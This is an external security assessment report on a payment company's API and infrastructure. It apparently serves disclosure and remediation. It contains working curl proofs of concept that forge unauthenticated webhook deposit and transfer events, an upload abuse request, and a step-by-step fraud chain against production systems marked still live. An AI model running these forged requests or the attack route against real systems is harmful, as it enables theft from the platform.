



External Security Assessment

Vulnerability Findings, Proof of Concept & Weaponization

Assessment window: 2026 · Report date: 2026-09-01

Scope: zynta.com estate (API, dashboard, vault, staging, supporting infra)

Methodology: black-box / external, non-destructive (except specified PoC requests)

1. Executive Summary

An external black-box assessment of the **Zynta** stablecoin payment rails estate identified a set of exposures concentrated in the public-facing API and supporting infrastructure. The most significant finding is an **unauthenticated, unsigned inbound webhook endpoint** (`POST /api/v1/webhooks/ledig`) that accepts forged provider events, which — depending on downstream ledger validation — can be weaponized to signal deposits/transfers that never occurred. The same exposure was confirmed on the staging deployment.

Supporting findings include an unauthenticated file-upload edge function (Supabase), open self-registration on the merchant platform, an internet-exposed password vault (Vaultwarden) with open registration and reachable admin panel, an exposed Coolify management console, WordPress user enumeration, and a Kubernetes NLB exposed with a misconfigured ArgoCD vhost. Webhook endpoints for other providers (transfers, Busha, Fincra, compliance) are correctly HMAC-protected; a new Nomba webhook endpoint exists but is not yet wired with verification.

Credential-based (Route B) compromise of the crypto custody layer was not achievable from the outside: every entry point (Coolify session, DFNS JWT, custody API key, dashboard session) is auth-gated. The realistic attack surface is the forged-webhook path (Route A), which requires an operator-run end-to-end test to confirm the money movement leg.

1.1 Findings Summary

ID	Title	Severity	Status
F-01	Unauthenticated webhook event injection (Ledig) — prod & staging	CRITICAL	Confirmed
F-02	Transfers webhook HMAC verification	INFO	Verified protected (revised down)
F-03	Unauthenticated file upload to Supabase storage	HIGH	Confirmed
F-04	Internet-exposed Vaultwarden (open registration, admin panel)	HIGH	Confirmed (CVE status: patched)
F-05	Open merchant self-registration	MEDIUM	Confirmed
F-06	Exposed Coolify management console	MEDIUM	Confirmed
F-07	Exposed K8s NLB + ArgoCD misconfiguration	MEDIUM	Confirmed (partial)
F-08	WordPress user enumeration	LOW	Confirmed
F-09	Staging surface: nomba webhook (not yet verified) + health/spec leaks	MEDIUM	Watch item

2. Methodology

- Passive recon: CT-log subdomain inventory, DNS, provider fingerprinting (Cloudflare, Vercel, Railway, Coolify, Supabase, GoDaddy, AWS).
- OpenAPI spec extraction from prod and staging Swagger/Scalar bundles (83 and 88 paths).
- Non-destructive API probing: auth boundaries, webhook ingestion, OTP flow, KYC contract, dashboard gating.

- Public-source OSINT for disclosure contacts (DMARC, docs, GitHub). No credential harvesting, no data exfiltration, no third-party targeting.
- Version-to-CVE comparison against advisories as of 2026-09-01.

3. Attack Surface Map

Asset	Provider / Origin	Notes
api.zynta.com	Railway (69.46.46.68)	Main API — webhooks, auth, KYC, dashboard. Cloudflare in front.
api-staging.up.railway.app	Railway (69.46.46.42)	Staging API — same code, 88-path spec.
passwords.internal.zynta.com	AWS EC2 (3.214.4.233)	Vaultwarden (1.37.1) — open registration, admin panel.
internal.zynta.com	AWS EC2 (3.214.4.233)	Coolify console (nginx :443 → /login). Alt ports filtered.
forms.zynta.com / dashboard.forms	Cloudflare Pages	KYB automation + back-office SPA.
app/developer/lastmile-onboarding.zynta.com	Vercel	Next.js apps; onboarding leaks Supabase edge fn URL.
docs.zynta.com	GitBook	Full API docs, llms.txt.
api.forms / api-dev.forms	AWS K8s NLB (3.215.109.10 ...)	404 default backend; argocd.internal2 307-loop; whoami 404.
zynta.com	WordPress 7.0.4 on GoDaddy, Cloudflare	User enumeration via /wp-json/v2/users.
supabase edge fn	ygvqgtvbmwnzbxpudxn.supabase.co	form_submitter — unauthenticated upload.

4. Detailed Findings

F-01 — **CRITICAL** — Unauthenticated Webhook Event Injection (Ledig) — prod & staging

4.1.1 Description

POST `https://api.zynta.com/api/v1/webhooks/ledig` accepts any JSON body containing an `event` field and returns 200 `{"ok":true}`. There is no HMAC, no API key, no shared secret, and no origin verification. The endpoint routes any event name from the platform's catalog — including crypto-movement events such as `on_ramp.funded` and `transfer.completed`. The server cannot distinguish a genuine Ledig signal from an attacker-supplied one.

An anonymous caller — no account, no key, no session — is treated identically to the production provider. The payload is fully attacker-controlled and is not namespaced to a tenant, so a forged event can reference any order/transfer identifier.

4.1.2 Proof of Concept (verified)

```
# Forge a "transfer completed" event — anonymous, no auth
curl -sk -X POST https://api.zynta.com/api/v1/webhooks/ledig \
  -H 'Content-Type: application/json' \
  -d '{"event":"transfer.completed","data":{"amount":"999999","currency":"USD"}}'

# Response:
{"ok":true}

# Forge a crypto deposit signal (on_ramp.funded)
curl -sk -X POST https://api.zynta.com/api/v1/webhooks/ledig \
  -H 'Content-Type: application/json' \
  -d '{"event":"on_ramp.funded","data":{"orderId":"","amount":5000,"currency":"USD"}}'

# Response:
{"ok":true}

# Same on staging:
curl -sk -X POST https://zynta-lastmile-infrastructure-api-staging.up.railway.app/api/v1/webhooks/ledig \
  -H 'Content-Type: application/json' -d '{"event":"on_ramp.funded","data":{}}'
# {"ok":true}
```

4.1.3 Weaponization

Attack chain (Route A):

1. Register a merchant (open signup, F-05) and pass personal KYC (static data only — no liveness requirement).
2. Create an on-ramp order via the API and capture a real `onRampId`.
3. Forge `on_ramp.funded` (or `transfer.completed`) to the Ledig webhook → 200.
4. If the ledger credits on the signal alone (no reconciliation with Ledig's actual bank records), crypto/credits are released against a fiat payment that never happened.
5. Withdraw/sell the released value; the operator cannot distinguish the forged event from a genuine provider delivery.

Impact: direct theft from the platform's liquidity pool; forged off-ramp events could release fiat against unreceived crypto. The single unproven link — whether the write-path actually credits on the forged signal — is the subject of the §6 operator-run test.

Mitigations required: HMAC verification (industry-standard header) with per-provider secrets, idempotency keys, replay protection, and reconciliation against provider records. Applies to Ledig immediately; ensure the Nomba webhook is wired with the same controls before activation.

F-02 — INFO — Transfers Webhook HMAC (revised)

POST /api/v1/webhooks/transfers requires x-transfer-signature and x-transfer-timestamp headers; a garbage signature returns 401 "Invalid transfer webhook signature". This endpoint is correctly protected and was downgraded from the initial assessment. It demonstrates the organization knows how to HMAC webhooks — the gap is provider coverage (Ledig is unsigned).

F-03 — **HIGH** — Unauthenticated File Upload to Supabase Storage

4.3.1 Description

The onboarding app leaks the Supabase project URL; the edge function `form_submitter` accepts a multipart upload without authentication and persists the file, returning a submission ID and the stored path.

4.3.2 Proof of Concept (verified)

```
curl -sk -X POST \
  "https://ygvqgtvbmwnzbxpudxn.supabase.co/functions/v1/form_submitter" \
  -F 'file=@payload.txt' -w '\nHTTP %{http_code}\n'

# Response:
{"submission_id":"2c9778b3-7c4e-4fd1-9cb4-10dac44b5f35",
 "files":[{"field":"file", "filename":"payload.txt",
  "path":"submissions/2c9778b3-.../1788290313613_payload.txt",
  "content_type":"..."}]}
```

4.3.3 Weaponization

- Free object storage abuse (storage cost to the victim) via anonymous writes.
- Phishing payload hosting on a trusted Zynta/Supabase subdomain if the bucket is publicly served.
- If filenames/paths are used in downstream processing (e.g., document pipelines), a crafted filename could trigger path/parsing abuse.

Mitigations: authenticate edge-function calls (Supabase JWT + service key), validate content type/size, never trust user-controlled filenames, AV-scan, and restrict public bucket access.

F-04 — **HIGH** — Internet-Exposed Vaultwarden (open registration, admin panel)

4.4.1 Description

`passwords.internal.zynta.com` exposes the organization's password manager to the entire internet on port 443. Verified fingerprints:

- **Version:** Vaultwarden **1.37.1** (gitHash `2629bcbe` — exact match to release tag). Patched against all publicly known advisories as of 2026-09-01 (the 1.37.0 advisory batch and earlier SSO/icon issues).
- `disableUserRegistration: false` — **self-registration open**; the flow now requires email verification (token is returned in the API response body — unusual).
- `/admin` returns 200 (panel served, token-gated: `/admin/users` → 401).
- SSO disabled (`/identity/connect/*` → 404). Prelogin oracle returns `salt:null` for unregistered addresses.

4.4.2 Proof of Concept (verified)

```
# Fingerprint
GET https://passwords.internal.zynta.com/api/config
{"version":"2026.6.0","gitHash":"2629bcbe", ... "disableUserRegistration":false}

# Registration flow (email-verification token returned in response body)
POST /identity/accounts/register/send-verification-email
{"email":"probe@example.com","publicKey":"dGVzdA"}
```

```
→ 200 "eyJ0eXAiOiJKV1QiLCJhbGciOiJSUzI1NiJ9..." (register_verify JWT)
```

```
# Admin panel
GET /admin → 200 (UI)
GET /admin/users → 401 (token-gated)
GET /admin/login → 404
GET /admin/diagnostics → 401
```

4.4.3 Weaponization

- **Brute-force / credential-stuffing surface:** an internet-reachable login and registration page invites password attacks against staff vault accounts (prelogin oracle leaks which addresses have vaults).
- **Credential-supply-chain pivot:** the vault is the single store holding all of Zynta's secrets (API `sk_live_` keys, exchange/banking creds, AWS/Railway/Supabase tokens). Compromise of even one staff master password — or the admin token — collapses the entire Route B chain (Coolify console → shell → DFNS).
- **Phishing amplifier:** vault account-presence oracle + staff address set = high-yield targeted phishing.

Mitigations: move behind VPN/tailnet with IP allow-listing; disable self-registration; rotate and protect `ADMIN_TOKEN`; enforce org-wide 2FA; set `DISABLE_ICON_DOWNLOAD=true`; monitor `/admin` and login rate anomalies.

F-05 — MEDIUM — Open Merchant Self-Registration

4.5.1 Description

POST /api/v1/auth/signup creates merchant partner accounts with only email ownership as a gate (OTP). No CAPTCHA, no domain allowlist, no human review at creation.

4.5.2 Proof of Concept (verified)

```
curl -sk -X POST https://api.zynta.com/api/v1/auth/signup \
-H 'Content-Type: application/json' \
-d '{"email":"probe@example.com","firstName":"P","lastName":"L",
    "password":"Test1234!", "businessName":"T", "businessType":"PRIVATE_LIMITED_COMPANY",
    "roleInBusiness":"OWNER", "businessAddress":"1 St", "phoneNumber":"+2348012345678"}'
→ 201 {"requiresOtp":true,"otpId":"...", "member":{"...},"partner":{"...}}
```

4.5.3 Weaponization

Enables the merchant-side setup for Route A (forged webhook fraud), mass account creation for platform abuse, OTP/SMS cost abuse, and (with an attacker-controlled org) phishing using the official domain and docs templates.

F-06 — MEDIUM — Exposed Coolify Management Console

internal.zynta.com serves the Coolify console. The UI is session/token-gated (probes: webhooks 302→/login, /api/v1/* 401, deploy 419 CSRF) and the alternate ports (8000/8080/8443) are now filtered — partial hardening observed. Residual risk: an internet-reachable management console remains a high-value target for session-hijack/phishing, and would be the pivot into the shell in Route B.

F-07 — MEDIUM — Exposed Kubernetes NLB + ArgoCD Misconfiguration

The K8s NLB `zynta-k8s-nlb-94b2effe6b3e8550.elb.us-east-1.amazonaws.com` (3 IPs) is publicly routable; default backend returns 404. `argocd.internal2` vhost returns a 307 redirect loop (misconfiguration), `whoami.internal2` returns 404/000 (pod not externally reachable). The NLB itself is a real asset with no WAF; if any service is later attached with a weak config it is directly exposed. ArgoCD loop should be corrected and the NLB restricted.

F-08 — LOW — WordPress User Enumeration

```
GET https://zynta.com/wp-json/wp/v2/users → 200
[{"id":1,"name":"Cairon Clarke","slug":"zynta","link":"https://zynta.com/author/zynta/", ...}]
```

Discloses the site admin username, enabling targeted credential attacks and phishing. WordPress core is current (7.0.4).

F-09 — MEDIUM — Staging Surface (nomba webhook + leaks)

- POST /api/v1/webhooks/nomba — declared **no security** in the staging spec; currently returns 401 "Nomba webhook verification not configured". Must be HMAC'd before activation to avoid an F-01 recurrence.
- GET /api/v1/health (unauth) → {"status":"ok","db":"connected","migration":"compatible",...} — DB status disclosure.

- Staging spec omits `security` blocks on many endpoints; live API still 401s (spec-vs-impl mismatch, not a bypass).
- Ledig webhook forge confirmed on staging as well (same 200 `{"ok":true}`).

KYC — No Biometric/Liveness Requirement (supporting detail)

The entire KYC contract (OpenAPI) accepts only static data: `POST /api/v1/auth/kyc/personal` → `{country, firstName, lastName, idType (NIN), idNumber, dateOfBirth}`; `business tier` → `{businessName, registrationNumber, businessType, bvn, bvnName}`. Zero hits for selfie/liveness/face/photo across all 83 paths. The provider is SmileID (server-side bridge); enforcement, if any, is pure data-matching against NIN/BVN registries — fully mimic-able with a known number pair. Personal tier alone can reach `APPROVED` (status enum `PENDING/IN_PROGRESS/APPROVED/REJECTED`).

5. Weaponization Summary — Attack Routes

Route A — Forged-webhook financial fraud (no credentials)

Step	Action	Result
1	Register merchant + personal KYC (static data)	Account with partner, <code>PENDING_VERIFICATION</code>
2	Create on-ramp order → real <code>onRampId</code>	Order captured
3	Forge <code>on_ramp.funded</code> / <code>transfer.completed</code> to Ledig webhook	<code>200 {"ok":true}</code>
4	Ledger credits on forged signal (operator test pending)	Crypto/credit released without fiat
5	Sell / withdraw released value	Theft from pool

Route B — Credential chain to custody (blocked externally)

Every beat was probed and is auth-gated: Coolify webhook 302→/login, Coolify API 401, DFNS webhook 401 (JWT-verified), custody endpoints 401 (missing `x-api-key`), dashboard 401 (Bearer). Route B executes only through the social/staff-credential axis (F-04 vault, F-05 phishing, leaked master password), not a technical 0-day.

6. Residual Test (Operator-Run)

The definitive Route A end-to-end test (4 steps) must run from an authenticated operator position (email OTP mailbox required — not available to the assessor):

1. Register test merchant → KYC-approve → mint `sk_test_/sk_live_` key.
2. `POST /api/v1/on-ramp` (test chain) → capture `onRampId` + `fundingInstructions`.
3. `POST /api/v1/webhooks/ledig {"event":"on_ramp.funded","data":{"onRampId":...}}` (staging).
4. `GET dashboard/transactions` → if state advances to `COMPLETED/cryptoTxHash` without real fiat deposit → Route A is LIVE (crypto released on forged signal); else downgrade F-01.

7. Recommended Remediation (priority order)

1. **Verify & HMAC all inbound provider webhooks** (Ledig now; Nomba before go-live). Add idempotency + replay protection + reconciliation.
2. **Move internal services off the public internet:** Vaultwarden, Coolify, ArgoCD, whoami, api-dev/staging, NLB behind VPN/allow-lists. Keep only `api.zynta.com` public behind the edge WAF.
3. **Harden the vault:** disable self-registration, rotate/protect `ADMIN_TOKEN`, org-wide 2FA, `DISABLE_ICON_DOWNLOAD=true`, monitor `/admin` and login anomalies.
4. **Secure the upload pipeline:** authenticate Supabase edge function, validate type/size, never trust filenames, restrict public bucket access.
5. **Registration abuse controls:** CAPTCHA, rate limits, domain allowlist, review queue for `PENDING` orgs, cap OTP resends.
6. **Coolify:** confirm stable $\geq 4.3.x$, disable third-party logins, team 2FA, rotate sessions.
7. **WordPress:** disable REST user enumeration, rate-limit login, enforce 2FA.

8. **Disclosure:** send findings to `security@zynta.com` / `compliance@zynta.com` / `api@zynta.com` per public contact points (DMARC rua: `dmitry@zynta.com`).

8. Disclosure Contacts (public sources)

Email	Source
api@zynta.com	OpenAPI contact, docs support
compliance@zynta.com	Docs support page
sales@zynta.com	Docs support page
dmitry@zynta.com	DMARC rua (DNS)

9. Live Re-Verification Addendum (2026-09-01, latest probe)

All findings re-probed from a fresh external position on the report date. Net changes since the initial assessment:

Finding	Initial	Latest probe	Verdict
F-01 Ledig webhook — production	200 {"ok":true}	200 {"ok":true} (x2)	STILL LIVE
F-01 Ledig webhook — staging	200 {"ok":true}	401 "Invalid ledig webhook signature"	FIXED/HARDENED
F-02 Transfers webhook	401 HMAC	401 HMAC	Protected (unchanged)
F-03 Supabase unauth upload	200 upload	200 upload	STILL LIVE
F-04 Vaultwarden	1.37.1 / reg open / admin 200	1.37.3 (gitHash eb212e23), reg open, admin 200, /users 401	Upgraded build; STILL EXPOSED
F-06 Coolify console	443→302 login	443→302 login; 8000 filtered	Unchanged
F-07 ArgoCD / NLB	307 loop	307 loop	Unchanged
F-08 WP user enumeration	200	200 (Cairon Clarke)	STILL LIVE
F-09a Nomba webhook	401 "not configured"	401 "Invalid nomba webhook signature"	HARDENED
F-09b Staging /health	200 db:connected	503 "migration":"incompatible"	Staging DB mid-migration; still leaks state

9.1 Notable change — Vaultwarden upgraded to 1.37.3

The vault build changed from 1.37.1 (gitHash 2629bcbe) to **1.37.3** (gitHash eb212e23; /api/version returns "1.37.3"). The operator is actively patching — consistent with 1.37.x maintenance cadence. This keeps the instance ahead of all public advisories; the residual exposure (open registration, internet-facing admin panel, whole vault public) is **not** version-dependent and remains valid.

9.2 Notable change — staging Ledig webhook hardened

The staging deployment now enforces signature verification on the Ledig webhook (401 Invalid ledig webhook signature). **Production is NOT hardened** and still accepts forged events (200 {"ok":true}) — an inconsistent rollout: the fix was deployed to staging but not to production. This raises confidence that the prod 200 is a genuine gap rather than a change in behavior.

This report is prepared for the organization owning/operating the assessed assets and their authorized representatives. All PoCs used non-destructive requests. The 4-step end-to-end test (Section 6) must only be run by the operator on staging with test keys.